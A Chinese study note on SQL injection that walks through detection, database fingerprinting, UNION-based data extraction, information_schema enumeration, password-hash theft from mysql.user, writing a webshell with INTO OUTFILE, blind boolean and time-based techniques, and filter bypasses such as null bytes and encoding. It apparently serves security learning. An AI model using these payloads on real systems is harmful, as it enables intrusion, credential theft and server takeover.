sql注入系统学习
寻找及确认sql注入
于参数后面加一个单引号’
and于or
加法和减法
数字型不需要单引号时
利用sql注入
识别数据库
asp和.net Microsoft SQL Server
PHP Mysql.PostgreSQL
java Oracle.Mysql
基于错误识别数据库
需要一条详细的报错信息
基于数字函数推断
数据库服务器 | 函数 |
---|---|
Mircrosoft SQL Server | @@pack_received.@@rowcount |
Mysql | connection_id().last_insert_id().row_count().len() |
Oracle | BITAND(1,1).length() |
postgreSQL | select EXTRACT(DOW FROM NOW()) |
connection_id()不管值多少都是正的也就是真的,last_insert_id()这里不存在insert语句,默认情况就是返回零,也就是假.
那么如果and connection_id()数据返回正常,and last_insert_id()不返回数据我们就可以推断这个是一个mysql数据库了
UNION语句提取数据
UNION语句可以合并两条或多条SELECT语句的查询结果,如果应用返回了第一条查询语句的数据,我们就可以在第一条查询语句后面注入一个UNION运算符添加一个任意查询,来提取数据,但是必须满足两个条件
-
两个查询返回的列数必须相同
可以使用NULL来尝试,由于NULL值会转成任何数据类型
union select null,null,null... 这样加上去知道不返回错误 order by 4
-
两个查询语句对于列返回的数据类型必须相同
使用我们的测试字符串进行替换null union select user(),@@version,null
枚举数据库
表,列,数据存放在information_schema数据库中
数据库名存放在information_schema数据库下的schemata表的schema_name字段中
union select null,schema_name,null from information_shcema.schemata
表名存放在information_schema数据库下tables表table_name字段中
union select null,table_name,null from information_schema.tables where table_schema="wanan"
数据在表里
union select username,password ,null from users
窃取哈希口令
mysql在mysql.user表中存储哈希口令
select user,password from mysql.user
哈希口令是通过PASSWORD()函数计算的
select password('wanan')
获取webshell
利用sql注入像服务器写文件(这里需要得到网站的绝对路径)
select into outfile(dumpfile)//mysql 写文件命令
select "<?php echo 'test';?>" into outfile "/var/www/test.php";
sql盲注
1.提交一个导致sql查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容可被适度控制的页面
2.提交一个导致sql查询无效时,会返回一个通用的错误页面,提交正确则会返回一个内容不可空页面
3.提交受损或不正确的sql即不会产生错误页面,也不会以任何方式影响页面输出
基于布尔
SUBSTRING(str,pos,len)
没有len参数的形式返回一个字符串从字符串str从位置pos开始。一个len参数的形式返回len个字符长的字符串str的子串,从位置pos开始,形式使用的是标准的SQL语法。另外,也可以使用负的值为pos。在这种情况下,刚开始的子串位置的字符结尾的字符串,而不是开始。负的值可用于为pos在此函数中的任何形式的。
1 and SUBSTRING(user(),1,1)='a' 看返回true还是false
基于时间
union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null
绕开过滤
大小写变种
如使用strstr($id,'union') strstr()函数是对大小写敏感的,所以可以大小写绕过
URL编码
对数据进行url编码
双url编码,但是前提是后面有一个url解码
sql注释
当仅使用strstr($id,’ ')过滤空格时,可以使用注释符等绕过
空字符
通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统(IDS),这些系统一般是由原生编程语言开发而成,比如C++,为什么空字节能起作用呢,就是因为在原生变成语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。
只需要在过滤器阻止的字符串前面提供一个采用URL编码的空字节即可,例如:
%00' union select username,password from users where username='admin' --
二次SQL注入
查询的语句所用到的变量name就是从数据库提取到的我们的用户名,所以我们可以先利用更新我们的用户名功能插入语句进数据库。